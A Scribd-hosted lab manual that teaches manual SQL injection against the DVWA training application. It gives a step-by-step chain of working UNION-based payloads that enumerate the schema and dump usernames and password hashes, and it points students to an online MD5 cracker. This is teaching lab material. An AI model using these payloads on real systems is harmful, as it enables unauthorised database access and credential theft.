Scribd
Upload
2 views7 pages

Lab 9-Manual SQL Injection

This document provides a guide on performing manual SQL injection attacks using the DVWA web application. It outlines the necessary preparations, including software downloads, and details implementation steps for various SQL injection commands to extract data from a database. The document also suggests using an online tool to crack MD5 passwords obtained from the injection process.

Uploaded by

quynhmaibts7
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
2 views7 pages

Lab 9-Manual SQL Injection

This document provides a guide on performing manual SQL injection attacks using the DVWA web application. It outlines the necessary preparations, including software downloads, and details implementation steps for various SQL injection commands to extract data from a database. The document also suggests using an online tool to crack MD5 passwords obtained from the injection process.

Uploaded by

quynhmaibts7
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

LAB 9

Manual SQL Injection

1. Introduction
SQL Injection is one of the types of web hacking is becoming popular
nowadays. By inserting the SQL query / command code into the input before
passing it to the web application. You can login without usernames and passwords,
remote execution, dump data, and get access to database management system such
as MSSQL, MYSQL.

2. Preparation
- DVWA download the following link: [Link]
- The browser software chrome, 7zip, Notepadd ++.
3. Implementation steps
- Enter [Link] login with user: admin. Pass:
password

- Login into DVWA . Select DVWA security > Select low and submit
- Select SQL Injection
- Type 1 and submit

- Type: %' or '0'='0 and submit


- Type : %' or 0=0 union select null, version() # and submit

- Type: %' or 0=0 union select null, user() # and submit


- Type: %' or 0=0 union select null, database() # and submit

Type: %' and 1=0 union select null, table_name from information_schema.tables #
- Type : %' and 1=0 union select null, table_name from
information_schema.tables where table_name like 'user%'#

- Type: %' and 1=0 union select null,


concat(table_name,0x0a,column_name) from
information_schema.columns where table_name = 'users' #
- Type: %' and 1=0 union select null,
concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

- Copy paste user and pass we can query now


- Save file text
- Student can go to [Link] to crack password md5 online.
User : Admin, password when crack md5 is below

You might also like